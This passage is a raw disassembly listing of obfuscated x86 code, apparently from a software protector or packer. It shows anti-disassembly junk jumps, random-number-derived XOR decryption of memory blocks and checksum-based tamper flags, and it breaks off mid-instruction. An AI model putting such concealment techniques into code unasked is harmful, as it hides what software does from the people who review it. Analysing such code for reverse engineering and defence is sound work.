jmp short loc_4BCAAC ; --------------------------------------------------------------------------- db 0B8h db 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BCAA2: ; CODE XREF: .text:004BCAAEj mov ecx, 34F9C987h nop stc jz short loc_4BCAB0 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BCAAC: ; CODE XREF: .text:004BCA9Dj xor eax, eax jz short loc_4BCAA2 loc_4BCAB0: ; CODE XREF: .text:004BCAA9j mov eax, 4840C987h test eax, eax jnz short loc_4BCA96 loc_4BCAB9: ; CODE XREF: .text:loc_4BCA96j jmp near ptr 92B2681Fh ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax lea eax, [ebp-18h] push eax push 4 push 1000h mov ecx, [ebp-14h] push ecx mov edx, dword_4F4750 mov eax, [edx] push eax call dword_4ED110 ; CODE XREF: .text:loc_4BCB55j test eax, eax jnz short loc_4BCB37 push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BCB07 loc_4BCB04: ; CODE XREF: .text:004BCB25j jmp short near ptr loc_4BCB27+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BCB07: ; CODE XREF: .text:004BCB02j xor ebx, ebx jz short $+2 jmp short loc_4BCB1A ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BCB10: ; CODE XREF: .text:004BCB1Cj mov ecx, 34F9C987h nop stc jz short loc_4BCB1E ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BCB1A: ; CODE XREF: .text:004BCB0Bj xor eax, eax jz short loc_4BCB10 loc_4BCB1E: ; CODE XREF: .text:004BCB17j mov eax, 4840C987h test eax, eax jnz short loc_4BCB04 loc_4BCB27: ; CODE XREF: .text:loc_4BCB04j jmp near ptr 92B2688Dh ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax xor al, al ; CODE XREF: .text:004BCB9Fj jmp loc_4BDA6A ; --------------------------------------------------------------------------- loc_4BCB37: ; CODE XREF: .text:004BCAE2j pusha xor eax, eax jnz short loc_4BCB3E jmp short loc_4BCB53 ; --------------------------------------------------------------------------- loc_4BCB3E: ; CODE XREF: .text:004BCB3Aj jmp short loc_4BCB73 ; --------------------------------------------------------------------------- dd 7A1875C0h db 0Ch ; --------------------------------------------------------------------------- loc_4BCB45: ; CODE XREF: .text:loc_4BCB53j jo short loc_4BCB55 jmp short near ptr loc_4BCB55+1 ; --------------------------------------------------------------------------- db 0E8h, 72h, 0Eh dd 15FFF179h db 0, 79h, 9 ; --------------------------------------------------------------------------- loc_4BCB53: ; CODE XREF: .text:004BCB3Cj jz short loc_4BCB45 loc_4BCB55: ; CODE XREF: .text:loc_4BCB45j ; .text:004BCB47j jmp short near ptr loc_4BCADA+4 ; --------------------------------------------------------------------------- db 0DBh dd 33A0F07Ah, 0F84D8D61h, 10006851h, 158B0000h, 4F477Ch dd 0EC458B52h db 50h, 8Bh, 0Dh ; --------------------------------------------------------------------------- loc_4BCB73: ; CODE XREF: .text:loc_4BCB3Ej push eax inc edi dec edi add [ebx+15FF5211h], cl rcl al, 1 dec esi add [ebp+504B75C0h], al not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BCBBB ; CODE XREF: .text:loc_4BCBBBj ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl ; CODE XREF: .text:loc_4BCC08j loc_4BCB93: ; CODE XREF: .text:004BCBB4j jmp short loc_4BCBB2 ; --------------------------------------------------------------------------- loc_4BCB95: ; CODE XREF: .text:loc_4BCBB2j xor ecx, ecx loc_4BCB97: ; CODE XREF: .text:004BCBA6j jz short $+2 jmp short loc_4BCBAB ; --------------------------------------------------------------------------- loc_4BCB9B: ; CODE XREF: .text:004BCBAFj stc xor ecx, 3 jz short near ptr loc_4BCB30+1 jmp short loc_4BCBA8 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BCBA4: ; CODE XREF: .text:loc_4BCBA8j jmp short loc_4BCBB6 ; --------------------------------------------------------------------------- jz short loc_4BCB97 loc_4BCBA8: ; CODE XREF: .text:004BCBA1j jnb short loc_4BCBA4 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BCBAB: ; CODE XREF: .text:004BCB99j sbb bl, bl xor ebx, ebx jmp short loc_4BCB9B ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BCBB2: ; CODE XREF: .text:loc_4BCB93j jmp short loc_4BCB95 ; --------------------------------------------------------------------------- jmp short loc_4BCB93 ; --------------------------------------------------------------------------- loc_4BCBB6: ; CODE XREF: .text:loc_4BCBA4j repne sbb al, 0DBh jmp short loc_4BCBBE ; --------------------------------------------------------------------------- loc_4BCBBB: ; CODE XREF: .text:004BCB8Ej jmp short near ptr loc_4BCB8E+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BCBBE: ; CODE XREF: .text:004BCBB9j popa popf bswap eax not ecx bswap eax not ecx xor al, al jmp loc_4BDA6A ; --------------------------------------------------------------------------- jo short loc_4BCBD8 jl short loc_4BCBD6 loc_4BCBD3: ; CODE XREF: .text:loc_4BCBD6j ; .text:loc_4BCBD8j jmp short loc_4BCBDA ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BCBD6: ; CODE XREF: .text:004BCBD1j jz short loc_4BCBD3 loc_4BCBD8: ; CODE XREF: .text:004BCBCFj jmp short loc_4BCBD3 ; --------------------------------------------------------------------------- loc_4BCBDA: ; CODE XREF: .text:loc_4BCBD3j mov eax, [ebp+10h] and eax, 0FFh test eax, eax jz loc_4BD4E3 pusha xor eax, eax jnz short loc_4BCBF1 jmp short loc_4BCC06 ; --------------------------------------------------------------------------- loc_4BCBF1: ; CODE XREF: .text:004BCBEDj jmp short locret_4BCC26 ; --------------------------------------------------------------------------- db 0C0h dd 0C7A1875h ; --------------------------------------------------------------------------- loc_4BCBF8: ; CODE XREF: .text:loc_4BCC06j jo short loc_4BCC08 jmp short near ptr loc_4BCC08+1 ; --------------------------------------------------------------------------- dd 790E72E8h, 15FFF1h ; --------------------------------------------------------------------------- jns short loc_4BCC0F loc_4BCC06: ; CODE XREF: .text:004BCBEFj jz short loc_4BCBF8 loc_4BCC08: ; CODE XREF: .text:loc_4BCBF8j ; .text:004BCBFAj jmp short near ptr loc_4BCB90+1 ; --------------------------------------------------------------------------- dw 7ADBh db 0F0h, 0A0h, 33h ; --------------------------------------------------------------------------- loc_4BCC0F: ; CODE XREF: .text:004BCC04j popa mov ecx, dword_4ED3B0 ; CODE XREF: .text:004BCC81j xor ecx, dword_4ED3FC xor ecx, dword_4ED3F0 and ecx, 8 ; --------------------------------------------------------------------------- db 85h ; --------------------------------------------------------------------------- locret_4BCC26: ; CODE XREF: .text:loc_4BCBF1j leave jz short loc_4BCC66 mov edx, [ebp+8] mov eax, dword_4F4774 mov ecx, [eax+edx*4] and ecx, 4 test ecx, ecx jz short loc_4BCC66 push 0FFFFFFFFh push 1000h mov edx, dword_4F477C push edx call sub_490FB0 add esp, 0Ch mov ecx, [ebp+8] mov edx, dword_4F4778 cmp eax, [edx+ecx*4] jz short loc_4BCC66 mov byte_4F4781, 1 loc_4BCC66: ; CODE XREF: .text:004BCC27j ; .text:004BCC39j ... push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BCC9D ; CODE XREF: .text:loc_4BCC9Dj ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BCC75: ; CODE XREF: .text:004BCC96j jmp short loc_4BCC94 ; --------------------------------------------------------------------------- loc_4BCC77: ; CODE XREF: .text:loc_4BCC94j xor ecx, ecx loc_4BCC79: ; CODE XREF: .text:004BCC88j jz short $+2 jmp short loc_4BCC8D ; --------------------------------------------------------------------------- loc_4BCC7D: ; CODE XREF: .text:004BCC91j stc xor ecx, 3 jz short near ptr loc_4BCC10+3 jmp short loc_4BCC8A ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BCC86: ; CODE XREF: .text:loc_4BCC8Aj jmp short loc_4BCC98 ; --------------------------------------------------------------------------- jz short loc_4BCC79 loc_4BCC8A: ; CODE XREF: .text:004BCC83j jnb short loc_4BCC86 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BCC8D: ; CODE XREF: .text:004BCC7Bj sbb bl, bl xor ebx, ebx jmp short loc_4BCC7D ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BCC94: ; CODE XREF: .text:loc_4BCC75j jmp short loc_4BCC77 ; --------------------------------------------------------------------------- jmp short loc_4BCC75 ; --------------------------------------------------------------------------- loc_4BCC98: ; CODE XREF: .text:loc_4BCC86j repne sbb al, 0DBh jmp short loc_4BCCA0 ; --------------------------------------------------------------------------- loc_4BCC9D: ; CODE XREF: .text:004BCC70j jmp short near ptr loc_4BCC70+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BCCA0: ; CODE XREF: .text:004BCC9Bj popa popf bswap eax not ecx bswap eax not ecx mov dword ptr [ebp-64h], 100h mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-58h], eax mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-54h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-60h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-5Ch], edx mov ecx, [ebp-54h] imul ecx, [ebp-5Ch] mov edx, [ebp-58h] imul edx, [ebp-5Ch] mov eax, [ebp-54h] imul eax, [ebp-60h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov dword_4F4738, edx mov eax, dword_4F4738 xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-64h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-50h], eax mov dword ptr [ebp-78h], 100h mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-6Ch], eax mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-68h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-74h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-70h], edx mov ecx, [ebp-68h] imul ecx, [ebp-70h] mov edx, [ebp-6Ch] imul edx, [ebp-70h] mov eax, [ebp-68h] imul eax, [ebp-74h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov dword_4F4738, edx mov eax, dword_4F4738 xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-78h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-44h], eax mov dword ptr [ebp-8Ch], 100h mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-80h], eax mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-7Ch], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-88h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-84h], edx mov ecx, [ebp-7Ch] imul ecx, [ebp-84h] mov edx, [ebp-80h] imul edx, [ebp-84h] mov eax, [ebp-7Ch] imul eax, [ebp-88h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov dword_4F4738, edx mov eax, dword_4F4738 xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-8Ch] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-48h], eax mov dword ptr [ebp-0A0h], 100h mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-94h], eax mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-90h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-9Ch], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-98h], edx mov ecx, [ebp-90h] imul ecx, [ebp-98h] mov edx, [ebp-94h] imul edx, [ebp-98h] mov eax, [ebp-90h] imul eax, [ebp-9Ch] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov dword_4F4738, edx mov eax, dword_4F4738 xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-0A0h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-4Ch], eax mov edx, [ebp-48h] shl edx, 8 mov eax, [ebp-44h] shl eax, 10h mov ecx, [ebp-50h] shl ecx, 18h or ecx, eax or ecx, edx or ecx, [ebp-4Ch] mov edx, [ebp+0Ch] mov eax, [edx] xor eax, ecx mov ecx, [ebp+0Ch] mov [ecx], eax push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BCFEF loc_4BCFEC: ; CODE XREF: .text:004BD00Dj jmp short near ptr loc_4BD00F+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BCFEF: ; CODE XREF: .text:004BCFEAj xor ebx, ebx jz short $+2 jmp short loc_4BD002 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BCFF8: ; CODE XREF: .text:004BD004j mov ecx, 34F9C987h nop stc jz short loc_4BD006 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BD002: ; CODE XREF: .text:004BCFF3j xor eax, eax jz short loc_4BCFF8 loc_4BD006: ; CODE XREF: .text:004BCFFFj mov eax, 4840C987h test eax, eax jnz short loc_4BCFEC loc_4BD00F: ; CODE XREF: .text:loc_4BCFECj jmp near ptr 92B26D75h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov edx, [ebp+0Ch] mov eax, [edx] xor eax, dword_4ED41C xor eax, dword_4ED424 xor eax, dword_4ED3EC xor eax, dword_4ED428 xor eax, dword_4ED3AC mov [ebp-1Ch], eax jo short loc_4BD047 jl short loc_4BD045 loc_4BD042: ; CODE XREF: .text:loc_4BD045j ; .text:loc_4BD047j jmp short loc_4BD049 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BD045: ; CODE XREF: .text:004BD040j jz short loc_4BD042 loc_4BD047: ; CODE XREF: .text:004BD03Ej jmp short loc_4BD042 ; --------------------------------------------------------------------------- loc_4BD049: ; CODE XREF: .text:loc_4BD042j ; .text:004BD067j mov ecx, [ebp-4] cmp ecx, [ebp-0Ch] jnb short loc_4BD069 mov edx, [ebp-4] mov eax, [edx] xor eax, [ebp-1Ch] mov ecx, [ebp-4] mov [ecx], eax mov edx, [ebp-4] add edx, 4 mov [ebp-4], edx jmp short loc_4BD049 ; --------------------------------------------------------------------------- loc_4BD069: ; CODE XREF: .text:004BD04Fj jo short loc_4BD072 jl short loc_4BD070 loc_4BD06D: ; CODE XREF: .text:loc_4BD070j ; .text:loc_4BD072j jmp short loc_4BD074 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BD070: ; CODE XREF: .text:004BD06Bj jz short loc_4BD06D loc_4BD072: ; CODE XREF: .text:loc_4BD069j jmp short loc_4BD06D ; --------------------------------------------------------------------------- loc_4BD074: ; CODE XREF: .text:loc_4BD06Dj mov eax, [ebp+8] mov ecx, dword_4F4774 mov edx, [ecx+eax*4] and edx, 0FFFFFFFEh mov eax, [ebp+8] mov ecx, dword_4F4774 mov [ecx+eax*4], edx push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax loc_4BD0A6: ; CODE XREF: .text:004BD114j not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BD0B2 loc_4BD0AF: ; CODE XREF: .text:004BD0D0j jmp short near ptr loc_4BD0D2+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BD0B2: ; CODE XREF: .text:004BD0ADj xor ebx, ebx jz short $+2 jmp short loc_4BD0C5 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BD0BB: ; CODE XREF: .text:004BD0C7j mov ecx, 34F9C987h nop stc jz short loc_4BD0C9 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BD0C5: ; CODE XREF: .text:004BD0B6j xor eax, eax jz short loc_4BD0BB loc_4BD0C9: ; CODE XREF: .text:004BD0C2j mov eax, 4840C987h test eax, eax jnz short loc_4BD0AF loc_4BD0D2: ; CODE XREF: .text:loc_4BD0AFj jmp near ptr 92B26E38h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax xor edx, edx mov dl, byte_4F4780 test edx, edx jz short loc_4BD0F2 mov eax, [ebp-18h] or ah, 1 mov [ebp-10h], eax jmp short loc_4BD0F9 ; --------------------------------------------------------------------------- loc_4BD0F2: ; CODE XREF: .text:004BD0E5j mov dword ptr [ebp-10h], 1 loc_4BD0F9: ; CODE XREF: .text:004BD0F0j push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BD130 ; CODE XREF: .text:loc_4BD130j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BD108: ; CODE XREF: .text:004BD129j jmp short loc_4BD127 ; --------------------------------------------------------------------------- loc_4BD10A: ; CODE XREF: .text:loc_4BD127j xor ecx, ecx loc_4BD10C: ; CODE XREF: .text:004BD11Bj jz short $+2 jmp short loc_4BD120 ; --------------------------------------------------------------------------- loc_4BD110: ; CODE XREF: .text:004BD124j stc xor ecx, 3 jz short loc_4BD0A6 jmp short loc_4BD11D ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BD119: ; CODE XREF: .text:loc_4BD11Dj jmp short loc_4BD12B ; --------------------------------------------------------------------------- jz short loc_4BD10C loc_4BD11D: ; CODE XREF: .text:004BD116j jnb short loc_4BD119 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BD120: ; CODE XREF: .text:004BD10Ej sbb bl, bl xor ebx, ebx jmp short loc_4BD110 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BD127: ; CODE XREF: .text:loc_4BD108j jmp short loc_4BD10A ; --------------------------------------------------------------------------- jmp short loc_4BD108 ; --------------------------------------------------------------------------- loc_4BD12B: ; CODE XREF: .text:loc_4BD119j repne sbb al, 0DBh jmp short loc_4BD133 ; --------------------------------------------------------------------------- loc_4BD130: ; CODE XREF: .text:004BD103j jmp short near ptr loc_4BD103+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BD133: ; CODE XREF: .text:004BD12Ej popa popf bswap eax not ecx bswap eax not ecx xor ecx, ecx mov cl, byte_4F4781 test ecx, ecx jz loc_4BD4DE mov dword ptr [ebp-0C4h], 100h mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-0B8h], eax mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-0B4h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-0C0h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-0BCh], edx mov ecx, [ebp-0B4h] imul ecx, [ebp-0BCh] mov edx, [ebp-0B8h] imul edx, [ebp-0BCh] mov eax, [ebp-0B4h] imul eax, [ebp-0C0h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov dword_4F4738, edx mov eax, dword_4F4738 xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-0C4h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-0B0h], eax mov dword ptr [ebp-0D8h], 100h mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-0CCh], eax mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-0C8h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-0D4h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-0D0h], edx mov ecx, [ebp-0C8h] imul ecx, [ebp-0D0h] mov edx, [ebp-0CCh] imul edx, [ebp-0D0h] mov eax, [ebp-0C8h] imul eax, [ebp-0D4h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov dword_4F4738, edx mov eax, dword_4F4738 xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-0D8h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-0A4h], eax mov dword ptr [ebp-0ECh], 100h mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-0E0h], eax mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-0DCh], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-0E8h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-0E4h], edx mov ecx, [ebp-0DCh] imul ecx, [ebp-0E4h] mov edx, [ebp-0E0h] imul edx, [ebp-0E4h] mov eax, [ebp-0DCh] imul eax, [ebp-0E8h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov dword_4F4738, edx mov eax, dword_4F4738 xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-0ECh] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-0A8h], eax mov dword ptr [ebp-100h], 100h mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-0F4h], eax mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-0F0h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-0FCh], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-0F8h], edx mov ecx, [ebp-0F0h] imul ecx, [ebp-0F8h] mov edx, [ebp-0F4h] imul edx, [ebp-0F8h] mov eax, [ebp-0F0h] imul eax, [ebp-0FCh] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov dword_4F4738, edx mov eax, dword_4F4738 xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-100h] xor edx, edx mov ecx, 2710h loc_4BD4A0: ; CODE XREF: .text:loc_4BD517j div ecx and eax, 0FFh mov [ebp-0ACh], eax mov edx, [ebp-0A8h] shl edx, 8 mov eax, [ebp-0A4h] shl eax, 10h mov ecx, [ebp-0B0h] shl ecx, 18h or ecx, eax or ecx, edx or ecx, [ebp-0ACh] mov edx, [ebp+0Ch] mov eax, [edx] xor eax, ecx loc_4BD4D9: ; CODE XREF: .text:004BD536j mov ecx, [ebp+0Ch] mov [ecx], eax loc_4BD4DE: ; CODE XREF: .text:004BD147j jmp loc_4BD952 ; --------------------------------------------------------------------------- loc_4BD4E3: ; CODE XREF: .text:004BCBE4j mov edx, [ebp+8] mov eax, dword_4F4774 mov ecx, [eax+edx*4] and ecx, 2 test ecx, ecx jnz loc_4BD615 pusha xor eax, eax jnz short loc_4BD500 jmp short loc_4BD515 ; --------------------------------------------------------------------------- loc_4BD500: ; CODE XREF: .text:004BD4FCj jmp short loc_4BD535 ; --------------------------------------------------------------------------- dw 75C0h ; --------------------------------------------------------------------------- sbb [edx+0Ch], bh loc_4BD507: ; CODE XREF: .text:loc_4BD515j jo short loc_4BD517 jmp short near ptr loc_4BD517+1 ; --------------------------------------------------------------------------- db 0E8h dd 0F1790E72h, 790015FFh db 9 ; --------------------------------------------------------------------------- loc_4BD515: ; CODE XREF: .text:004BD4FEj jz short loc_4BD507 loc_4BD517: ; CODE XREF: .text:loc_4BD507j ; .text:004BD509j ... jmp short loc_4BD4A0 ; --------------------------------------------------------------------------- db 0DBh, 7Ah, 0F0h dd 8B6133A0h, 4ED3B015h, 0FC153300h, 33004ED3h, 4ED3F015h dd 18EAC100h db 88h ; --------------------------------------------------------------------------- loc_4BD535: ; CODE XREF: .text:loc_4BD500j push ebp loopne loc_4BD4D9 jl short loc_4BD581 dec edi add [ecx+4D8BDC45h], cl fadd qword ptr [ecx+1000C1h] add [ecx+558BD84Dh], cl ; CODE XREF: .text:004BD569j fdivr qword ptr [ebx] push ebp fdiv dword ptr [ebx+18h] mov eax, [ebp-24h] mov cl, [eax] xor cl, [ebp-20h] mov edx, [ebp-24h] mov [edx], cl mov eax, [ebp-24h] add eax, 1 mov [ebp-24h], eax jmp short near ptr loc_4BD547+4 ; --------------------------------------------------------------------------- push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BD5A2 ; CODE XREF: .text:loc_4BD5A2j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BD57A: ; CODE XREF: .text:004BD59Bj jmp short loc_4BD599 ; --------------------------------------------------------------------------- loc_4BD57C: ; CODE XREF: .text:loc_4BD599j xor ecx, ecx loc_4BD57E: ; CODE XREF: .text:004BD58Dj jz short $+2 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BD581: ; CODE XREF: .text:004BD538j ; .text:004BD596j adc cl, bh xor ecx, 3 jz short near ptr loc_4BD517+1 jmp short loc_4BD58F ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BD58B: ; CODE XREF: .text:loc_4BD58Fj jmp short loc_4BD59D ; --------------------------------------------------------------------------- jz short loc_4BD57E loc_4BD58F: ; CODE XREF: .text:004BD588j jnb short loc_4BD58B repne sbb bl, bl xor ebx, ebx jmp short near ptr loc_4BD581+1 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BD599: ; CODE XREF: .text:loc_4BD57Aj jmp short loc_4BD57C ; --------------------------------------------------------------------------- jmp short loc_4BD57A ; --------------------------------------------------------------------------- loc_4BD59D: ; CODE XREF: .text:loc_4BD58Bj repne sbb al, 0DBh jmp short loc_4BD5A5 ; --------------------------------------------------------------------------- loc_4BD5A2: ; CODE XREF: .text:004BD575j jmp short near ptr loc_4BD575+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BD5A5: ; CODE XREF: .text:004BD5A0j popa popf bswap eax not ecx bswap eax not ecx mov ecx, [ebp+8] mov edx, dword_4F4774 mov eax, [edx+ecx*4] or al, 2 mov ecx, [ebp+8] mov edx, dword_4F4774 mov [edx+ecx*4], eax push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BD5EC loc_4BD5E9: ; CODE XREF: .text:004BD60Aj jmp short near ptr loc_4BD60C+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BD5EC: ; CODE XREF: .text:004BD5E7j xor ebx, ebx jz short $+2 jmp short loc_4BD5FF ; --------------------------------------------------------------------------- dw 0EBB8h db 0Fh ; --------------------------------------------------------------------------- loc_4BD5F5: ; CODE XREF: .text:004BD601j mov ecx, 34F9C987h nop stc jz short loc_4BD603 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BD5FF: ; CODE XREF: .text:004BD5F0j xor eax, eax jz short loc_4BD5F5 loc_4BD603: ; CODE XREF: .text:004BD5FCj mov eax, 4840C987h test eax, eax jnz short loc_4BD5E9 loc_4BD60C: ; CODE XREF: .text:loc_4BD5E9j jmp near ptr 92B27372h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax loc_4BD615: ; CODE XREF: .text:004BD4F3j xor eax, eax mov al, byte_4F4744 test eax, eax jz short loc_4BD649 mov byte_4F4744, 0 xor ecx, ecx mov cl, byte_4F4780 test ecx, ecx jz short loc_4BD63E mov edx, [ebp-18h] or dh, 1 mov [ebp-10h], edx jmp short loc_4BD644 ; --------------------------------------------------------------------------- loc_4BD63E: ; CODE XREF: .text:004BD631j mov eax, [ebp-18h] mov [ebp-10h], eax loc_4BD644: ; CODE XREF: .text:004BD63Cj jmp loc_4BD952 ; --------------------------------------------------------------------------- loc_4BD649: ; CODE XREF: .text:004BD61Ej mov ecx, [ebp+0Ch] mov edx, 